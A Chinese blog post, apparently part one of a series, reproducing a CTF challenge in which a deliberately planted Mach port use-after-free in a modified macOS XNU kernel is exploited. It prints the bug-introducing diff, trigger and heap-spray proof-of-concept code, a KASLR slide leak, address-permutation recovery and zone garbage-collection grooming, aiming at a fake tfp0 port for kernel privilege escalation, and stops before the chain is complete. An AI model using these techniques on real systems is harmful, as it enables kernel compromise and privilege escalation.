Logo
Overview
从0开始的osx/ios exploit学习(一)

从0开始的osx/ios exploit学习(一)

November 30, 2025

起因是赛后复现强网杯的某个osx题目。

首先看代码,按照出题人的说法是故意改出来的洞,其他内存洞都不能用。

UAF分析+验证

diff ipc_tt_org.c ipc_tt.c
1424a1425,1438
> ipc_port_t
> port_name_to_kport(mach_port_name_t name) { // -> 内核里面最后任意执行用的
>       ipc_port_t kport;
>       if (MACH_PORT_VALID(name))
>       {
>               if (ipc_object_copyin(current_space(), name,
>                                                         MACH_MSG_TYPE_COPY_SEND,
>                                                         (ipc_object_t *)&kport) != KERN_SUCCESS)
>                       return (0);
>               return kport;
>       }
>       return 0;
> }
> 
1724a1739,1741
>                       if (old_port[i] == new_port) {
>                               continue;
>                       }
1738,1739c1755,1759
<               if (IP_VALID(old_port[i]))
<                       ipc_port_release_send(old_port[i]);
---
>               if (IP_VALID(old_port[i])) {
>                       if (((old_port[i]->ip_object).io_references) > 0) {
>                               ipc_port_release(old_port[i]);
>                       }
>               }
1741,1742c1761,1765
<       if (IP_VALID(new_port))          /* consume send right */
<               ipc_port_release_send(new_port);
---
>       if (IP_VALID(new_port)) {        /* consume send right */
>               if (((new_port->ip_object).io_references) > 0) {
>                       ipc_port_release(new_port);
>               }
>       }

丢给gpt一番分析大概知道了这个地方是个machport uaf。

💡

关于reference和send right的解释,可以看这篇文章

Reference counting is a form of simple yet effective memory management. It is basically a way to keep a count of the number of references to an object held by other objects. If an object’s reference count reaches zero, the object will be freed. Creating or Copying an object will increase its reference count by 1, whereas destroying a reference or overwriting the object will decrement its reference count by 1. In systems with limited memory, reference counting can prove more efficient than garbage collection (which happens in cycles and can be time consuming) , because objects can be claimed as soon as their reference count becomes zero, and this improves overall responsiveness of the system.

嗯大概意思是,对于每一块分配出去的内存有一个引用计数:当引用计数为0时说明当前内存可以再次被分配。当进行一次拷贝时,reference + 1,

另外对于send rights,这是一个关于machport的属性。如果一个对象有send right,那么它可以在用户态被操作。于是可以非常完美地解释这个修改造成的问题。

我们考虑重复调用两次task_set_exception_ports(self, mask, victim, …)这个函数。

修改前:第一次:内核复制一份 → +1 send right
ipc_port_release_send(new_port) 释放调用者的那份 → -1 send right

第二次:再复制一份给 task → +1
释放旧的 exc_actions[x].port 第一次留下的那份 -1
最后 你手上仍无send right可释放影响较小

修改后:第一次: 内核复制一份 → +1 send right

ipc_port_release 直接减少reference

第二次:send right不增加,但是old和new都再减少一次reference。

当reference变成0时,task_port_t这块内存就被free了。

这个时候我们再通过heap fengshui把这块区域的控制重新拿回来,因为send right还在,内核仍然认为这个port是有效的,我们可以修改内容,变成我们期望的task,比如tfp0!

于是迅速写了一坨验证exp:

 // clang -Wall -O2 -o poc poc.c
  #include <mach/mach.h>
  #include <stdio.h>
  #include <string.h>
  #include <unistd.h>

  static mach_port_t make_port(void) {
      mach_port_t p = MACH_PORT_NULL;
      kern_return_t kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
      if (kr != KERN_SUCCESS) { fprintf(stderr, "alloc: %s\n", mach_error_string(kr)); return MACH_PORT_NULL; }
      kr = mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
      if (kr != KERN_SUCCESS) { fprintf(stderr, "insert: %s\n", mach_error_string(kr)); return MACH_PORT_NULL; }
      return p;
  }

  static void exhaust_refs(mach_port_t p) {
      exception_mask_t mask = EXC_MASK_BAD_ACCESS;
      // 第一次正常设置,后续重复触发 ref 泄露/UAF
      task_set_exception_ports(mach_task_self(), mask, p, EXCEPTION_DEFAULT, THREAD_STATE_NONE);
      for (int i = 0; i < 8; i++) {
          task_set_exception_ports(mach_task_self(), mask, p, EXCEPTION_DEFAULT, THREAD_STATE_NONE);
      }
      // 去掉接收权方便触发释放
      mach_port_mod_refs(mach_task_self(), p, MACH_PORT_RIGHT_RECEIVE, -1);
  }

  int main(void) {
      mach_port_t victim = make_port();
      if (victim == MACH_PORT_NULL) return 1;

      exhaust_refs(victim);
      puts("[*] port should now be dangling, sending to it to trigger UAF/panic...");

      struct {
          mach_msg_header_t hdr;
      } msg;
      memset(&msg, 0, sizeof(msg));
      msg.hdr.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
      msg.hdr.msgh_size = sizeof(msg);
      msg.hdr.msgh_remote_port = victim;

      kern_return_t kr = mach_msg(&msg.hdr, MACH_SEND_MSG, msg.hdr.msgh_size, 0,
                                  MACH_PORT_NULL, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
      fprintf(stderr, "mach_msg returned: %s\n", mach_error_string(kr));
      pause(); // 如果没马上 panic,可保持进程存活观察
      return 0;
  }

发现创建的普通port只需要循环设置两次就没有了,但是仍然有用户态的name(理解为指针)指向这个“不存在的port”

于是尝试spray进行port风水的检查,发现可以稳定在一轮里spray后重新get这个name可以保证它success。

// clang -Wall -O2 -o poc poc.c
#include <mach/mach.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <stdint.h>
#include <sys/mman.h>
#include <errno.h>
#include <sys/sysctl.h>


static mach_port_t make_port(void) {
    mach_port_t p = MACH_PORT_NULL;
    kern_return_t kr;

    kr = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "[-] alloc: %s\n", mach_error_string(kr));
        return MACH_PORT_NULL;
    }

    kr = mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "[-] insert: %s\n", mach_error_string(kr));
        return MACH_PORT_NULL;
    }
    // printf("[+] make_port -> name=%d\n", p);
    return p;
}

static int probe_port(const char *label, mach_port_t name) {
    natural_t type = 0;
    mach_vm_address_t addr = 0;
    kern_return_t kr;

    kr = mach_port_kobject(mach_task_self(), name, &type, &addr);

    printf("[*] probe %-12s: name=%d kr=%d (%s) type=%u kaddr=0x%llx\n",
           label, name, kr, mach_error_string(kr),
           type, (unsigned long long)addr);
    if (kr != KERN_SUCCESS) {
        return 0;
    }
    return 1; 
}

static void dump_port_limits(const char *label, mach_port_t name) {
    struct mach_port_limits limits;
    mach_msg_type_number_t count = MACH_PORT_LIMITS_INFO_COUNT;
    kern_return_t kr;

    kr = mach_port_get_attributes(mach_task_self(), name,
                                  MACH_PORT_LIMITS_INFO,
                                  (mach_port_info_t)&limits, &count);
    if (kr != KERN_SUCCESS) {
        printf("[*] limits %-12s: name=%d get_attributes -> %s\n",
               label, name, mach_error_string(kr));
        return;
    }
    printf("[*] limits %-12s: name=%d qlimit=%u\n",
           label, name, limits.mpl_qlimit);
}
__attribute__((noinline))
static void trigger_bad_access(void) {
    volatile int *p = (int *)0x0;
    *p = 0xdeadbeef;
}

#define SPRAY_MAX 0x6000
static mach_port_t spray_arr[SPRAY_MAX];
static size_t spray_cnt;
static mach_port_t uaf_port = MACH_PORT_NULL;
static int reuse_idx = -1;
static void *fake_port_page = NULL;
static uint64_t kernel_slide = 0;
static uint64_t k_ipc_space_kernel = 0;
static uint64_t k_kernel_task = 0;

// 符号的未偏移地址(来自 IDA),运行时通过 leak 计算 slide
#define UNSLID_REALHOST          0xffffff80008bddc0
#define UNSLID_IPC_SPACE_KERNEL  0xffffff80008bac80
#define UNSLID_KERNEL_TASK       0xffffff80008c5168


static size_t spray_with_make_port(size_t want) {
    if (want > SPRAY_MAX) want = SPRAY_MAX;
    size_t ok = 0;
    for (; ok < want; ok++) {
        mach_port_t p = make_port();
        if (p == MACH_PORT_NULL) {
            fprintf(stderr, "[-] make_port failed @%zu\n", ok);
            break;
        }
        spray_arr[ok] = p;
    }
    spray_cnt = ok;
    printf("[*] sprayed %zu ports\n", ok);
    return ok;
}

static void tag_spray_ports(void) {
    for (size_t i = 0; i < spray_cnt; i++) {
        mach_port_context_t ctx = 0x133700000000ULL | i; // 高位固定,低位存索引
        kern_return_t kr = mach_port_set_context(mach_task_self(), spray_arr[i], ctx);
        if (kr != KERN_SUCCESS) {
            fprintf(stderr, "[-] set_context %zu: %s\n", i, mach_error_string(kr));
        }
    }
}

static int detect_reuse_from_uaf(void) {
    mach_port_context_t ctx = 0;
    kern_return_t kr = mach_port_get_context(mach_task_self(), uaf_port, &ctx);
    if (kr != KERN_SUCCESS) {
        fprintf(stderr, "[-] get_context uaf: %s\n", mach_error_string(kr));
        return -1;
    }
    if ((ctx & 0xFFFF00000000ULL) == 0x133700000000ULL) {
        int idx = (int)(ctx & 0xFFFF);
        printf("[+] UAF chunk reused by spray_arr[%d] name=%d ctx=0x%llx\n",
               idx, spray_arr[idx], (unsigned long long)ctx);
        reuse_idx = idx;
        return idx;
    }
    printf("[-] no hit yet, ctx=0x%llx\n", (unsigned long long)ctx);
    return -1;
}


// 把命中的端口 free 掉,为后续 freelist 污染做准备
static void free_reused_port(void) {
    if (reuse_idx < 0) {
        puts("[-] reuse_idx not set");
        return;
    }
    kern_return_t kr = mach_port_destroy(mach_task_self(), spray_arr[reuse_idx]);
    printf("[*] destroy reused port name=%d -> %s\n", spray_arr[reuse_idx], mach_error_string(kr));
    spray_arr[reuse_idx] = MACH_PORT_NULL;
}

static void make_uaf_port(mach_port_t victim) {
    puts("[*] make_uaf_port");
    kern_return_t kr;
    probe_port("victim", victim);
    exception_mask_t mask = EXC_MASK_BAD_ACCESS;
    kr = task_set_exception_ports(mach_task_self(), mask, victim, EXCEPTION_DEFAULT, THREAD_STATE_NONE);
    printf("[*] 0. task_set_exception_ports() -> %s\n", mach_error_string(kr));
    for (int i = 0; i < 2; i++) {
        kr = task_set_exception_ports(mach_task_self(), mask, victim, EXCEPTION_DEFAULT, THREAD_STATE_NONE);
        printf("[*] %d. task_set_exception_ports() -> %s\n", i+1, mach_error_string(kr));
        probe_port("victim", victim);
    }
    puts("[*] done");
}
int main(void) {
    puts("[*] Stage 1: Create ports and trigger UAF");
    mach_port_t victim = make_port();
    if (victim == MACH_PORT_NULL) {
        printf("[-] make_port failed\n");
        return -1;
    }
    uaf_port = victim;
    make_uaf_port(victim);

    puts("[*] Stage 3: Spray and detect reuse");
    spray_with_make_port(0x3000);
    tag_spray_ports();
    detect_reuse_from_uaf();
    if (reuse_idx >= 0) {
    }
    return 0;
}

于是到这里也是稳定利用了。

讲解?

可以看到这里是一个exclidraw画的示意图。用户态有一个mach name,在内核里的进程控制块(linux的PCB)task port中,有一块空间用来做“从mach name到mach port内存“的映射

在进行两次解引用后,内核处理模块只处理了mach port 内存(因为内存这里已经没有io_reference,相当于不能用了),但是因为破坏了原来的逻辑,这里并不会对这个映射有影响。于是进入了这个状态

由于内存page分配原理(和buddy system差不多),这里如果这一个page都是空闲的,那么kalloc大概率会分到这一块page。所以这里我们用一个其他的内存中结构体(如IOSurface,sock_opt虽然还没有调通),进行大量kalloc和写入,就有机会把这一块内存占用,变成我们可读写的内存,如下:

在我们做到可读写这一块之后,我们构造一个恶意的task port结构体:它有pid = 0,全宇宙最高权限的task port ⇒ tfp0,刚好放在dangling pointer指向的地方,再用我们用户态的mach name进行操作时,内核会误认为它是一个天然存在的结构体,从而不拒绝执行对它的操作。

而后我们就有了内核任意读任意写原语:有了它你可以把我们本身的task结构体中权限修改成0→提权,可以关掉amfi,coretrust,…相当于关闭所有运行时 安全检查,这就是越狱。

可以看出,我们现在离真正提权还差了几步:1. 现代系统中一般都会对内核地址做随机化处理防止直接被使用。2. 怎么样保证写入进去的task port“刚刚好”落在我们需要的这篇区域上?3. 怎么样构造一个完美的tfp0?

KASLR→内核基址泄露

首先我们需要一些方法来泄露内核基址。卡了很久,最后在project zero里找到了一篇关于Safari的内核pwn题。

从这里面找到了kaslr的泄露方法:

static kern_return_t slide_leak(void) {
    INFO("leaking kernel slide...");
    FILE *fp;
    char buf[512];
    uint64_t leaked_address = 0;
    fp = popen("ioreg -l | grep IOPlatformArgs", "r");
    if (!fp) {
        ERROR("popen failed");
        return KERN_FAILURE;
    }
    if (!fscanf(fp, "%*[^<]<%511[^>]>", buf)) {
        ERROR("parse_slide: fgets failed");
        pclose(fp);
        return KERN_FAILURE;
    }
    pclose(fp);
    // SUCCESS("IOPlatformArgs: %s", buf);
    // 00901d2880ffffff00c01c2880ffffff90fb222880ffffff0000000000000000 got sth like
    // remove 10 char on head, read 16 bit in the mid
    // update: it's a fucking little-endian! so just cut the first 16 bit.
    char reversed[17] = {0};
    for (int i = 0; i < 8; i++) {
        reversed[i*2]   = buf[14 - i*2];
        reversed[i*2+1] = buf[15 - i*2];
    }
    leaked_address = strtoull(reversed, NULL, 16);
    slide = leaked_address - UNSLID_DT_ADDR;
    SUCCESS("calculated kernel slide: 0x%llx", (ull)slide);
    SUCCESS("kernel base: 0x%llx", (ull)(KERNEL_BASE) + slide);
    return KERN_SUCCESS;
}

嗯对这个好像还挺好用的,除了你需要改下启动参数关掉kaslr拿下原来的基址之外都非常简单。

于是这一步也解决了。

💡

这里只是第一步的kaslr,在内核地址返回用户态的过程中还进行了一次加密:

__int64 __fastcall buf_kernel_addrperm_addr(__int64 a1)
{
  if ( a1 )
    return buf_kernel_addrperm + a1;
  else
    return 0;
}

这里的buf_kernel_addrperm是在启动初期生成的key:

/*
	 * Initialize the global used for permuting kernel
	 * addresses that may be exported to userland as tokens
	 * using VM_KERNEL_ADDRPERM(). Force the random number
	 * to be odd to avoid mapping a non-zero
	 * word-aligned address to zero via addition.
	 */
	vm_kernel_addrperm = (vm_offset_t)early_random() | 1;
	buf_kernel_addrperm = (vm_offset_t)early_random() | 1;

大概是生成一个32bit的随机数并且地位强制转换为1(这样可以避免对齐)

不过因为我们已经leak了slide所以这里非常简单

找一个已知的→比如REAL_HOST,拿到它的kobject 地址,和kernel文件里的比一比,再减去slide,就是实际的addrperm了。实现如下(码丑勿喷

mach_port_t clk = MACH_PORT_NULL;
    KR(host_get_clock_service(mach_host_self(), CALENDAR_CLOCK, &clk));
    mach_vm_address_t clk_addr = 0,host_self_addr = 0;
    natural_t type = 0;
    KR(mach_port_kobject(mach_task_self(), mach_host_self(), &type, &host_self_addr));  // addr = REAL_HOST + slide + addrpem
    SUCCESS("realhost kobject addr: 0x%llx", (ull)host_self_addr);
    addrpem = host_self_addr - REAL_HOST - slide;
    KR(mach_port_kobject(mach_task_self(), clk, &type, &clk_addr)); // clk_addr = CLOCK_LIST_PORT + slide + addrpem + id * ? // id = 1
    SUCCESS("clock port kobject addr: 0x%llx", (ull)clk_addr);
    
    SUCCESS("calculated addrpem: 0x%llx", (ull)addrpem);
    SUCCESS("calculated clock port offset (should be small): 0x%llx", (ull)(clk_addr - CLOCK_LIST_PORT - slide - addrpem));

某块区域内存写入→ 堆风水 → tfp0

来自出题人的提示1
来自出题人的提示2

好了这里给了两个提示,第一个对应我们说的IOSurface写入过程,第二个给我们提供了新条件。

同样经过一番搜索可以搜到360的技术博客

在iOS的内核里, 不同的内核对象隔离在不同的zone, 这意味着即使ipc voucher对象释放了,这个对象不是真正的释放,只是放到对应的zone的free list,我们也只可能重新分配一个ipc voucher去填充.但是一般的UaF的漏洞我们都是需要转换成Type Confusion去利用,也就是我们需要分配一个不同的内核对象去填充这个释放的ipc voucher内存区域,在这里我们需要手动触发内核的zone gc, 把对应的page释放掉.

这里也是一样的,我们需要申请至少一个page的mach port,取其中一个来作为我们的fake port,其他的都删除,并且要把page释放掉。 有意思的一点是,在10.9 并没有禁用mach_zone_force_gc ,这很方便。

第一步流程是,申请很多个machport,然后选一个进行uaf,剩下的destroy掉,然后gc。

直接给代码,没什么好讲的


static kern_return_t make_port_uaf(mach_port_t port) {
    INFO("making port uaf...");
    exception_mask_t mask = EXC_MASK_BAD_ACCESS;
    KR(task_set_exception_ports(mach_task_self(), mask, port,
                                  EXCEPTION_DEFAULT, THREAD_STATE_NONE)); // set => send right +1 => 2 => io_ref - 1 = 1

    kern_return_t kr = detect_port(port);
    int times = 0;
    while(kr == KERN_SUCCESS) {
        KR(task_set_exception_ports(mach_task_self(), mask, port,
                                  EXCEPTION_DEFAULT, THREAD_STATE_NONE)); // set again => (n) send right keep => 2 , io_ref -1 => 0
        times++;
        INFO("uaf attempt %d", times);
        kr = detect_port(port); // should succeed
    }
    INFO("kr=%s", mach_error_string(kr));
    INFO("port is uafed after %d attempts", times);
    return KERN_SUCCESS;
error:
    return KERN_FAILURE;
}
static mach_port_t make_port(void) {
    mach_port_t p = MACH_PORT_NULL;
    KR(mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &p));
    KR(mach_port_insert_right(mach_task_self(), p, p, MACH_MSG_TYPE_MAKE_SEND));
    return p;
error:
    return MACH_PORT_NULL;
}


static kern_return_t make_victim(void) {
    INFO("make victim ports...");
    for(int i=0;i<NUM_BEFORE;i++) {
        before_port[i] = make_port();
        EQ(before_port[i], MACH_PORT_NULL);
    }
    victim_port = make_port();
    EQ(victim_port, MACH_PORT_NULL);
    for(int i=0;i<NUM_AFTER;i++) {
        after_port[i] = make_port();
        EQ(after_port[i], MACH_PORT_NULL);
    }
    return KERN_SUCCESS;
error:
    return KERN_FAILURE;
} 
static kern_return_t gc(void) {
    INFO("Free ports");
    for(int i=0;i<NUM_BEFORE;i++) {
        RELEASE_PORT(before_port[i]);
    }
    for(int i=0;i<NUM_AFTER;i++) {
        RELEASE_PORT(after_port[i]);
    }
#if __MAC_OS_X_VERSION_MIN_REQUIRED <= 1090
    INFO("triggering garbage collection...");
    KR(mach_zone_force_gc(mach_host_self()));
#else
    INFO("skipping garbage collection (not supported on this OS version)...");
#endif
    return KERN_SUCCESS;
error:
    return KERN_FAILURE;
}

接下来是写入:

换一篇博客

来看下pipe函数吧

int
pipe(proc_t p, __unused struct pipe_args *uap, int32_t *retval)
{
	struct fileproc *rf, *wf;
	struct pipe *rpipe, *wpipe;
	lck_mtx_t   *pmtx;
	int fd, error;

	if ((pmtx = lck_mtx_alloc_init(pipe_mtx_grp, pipe_mtx_attr)) == NULL)
	        return (ENOMEM);
	
	rpipe = wpipe = NULL;
	if (pipe_create(&rpipe) || pipe_create(&wpipe)) {
	        error = ENFILE;
		goto freepipes;
	}
	
	error = pipespace(rpipe, choose_pipespace(rpipe->pipe_buffer.size, 0));

	...
}

很显然这里给了两个pipe,并且是在内核空间里创建的

static int
pipe_create(struct pipe **cpipep)
{
	struct pipe *cpipe;
	cpipe = (struct pipe *)zalloc(pipe_zone);
	...
}

看这里就知道了,创建了两个pipe结构体大小的pipe:

struct pipe {
	struct	pipebuf pipe_buffer;	/* data storage */
#ifdef PIPE_DIRECT
	struct	pipemapping pipe_map;	/* pipe mapping for direct I/O */
#endif
	struct	selinfo pipe_sel;	/* for compat with select */
	pid_t	pipe_pgid;		/* information for async I/O */
	struct	pipe *pipe_peer;	/* link with other direction */
	u_int	pipe_state;		/* pipe status info */
	int	pipe_busy;		/* busy flag, mostly to handle rundown sanely */
	TAILQ_HEAD(,eventqelt) pipe_evlist;
	lck_mtx_t *pipe_mtxp;		/* shared mutex between both pipes */
	struct	timespec st_atimespec;	/* time of last access */
	struct	timespec st_mtimespec;	/* time of last data modification */
	struct	timespec st_ctimespec;	/* time of last status change */
	struct	label *pipe_label;	/* pipe MAC label - shared */
};

于是可以看看第二篇文章的写法

💡

考个试先,下篇继续😭

comment

留言 / 评论

如果暂时没有看到评论,请点击下方按钮重新加载。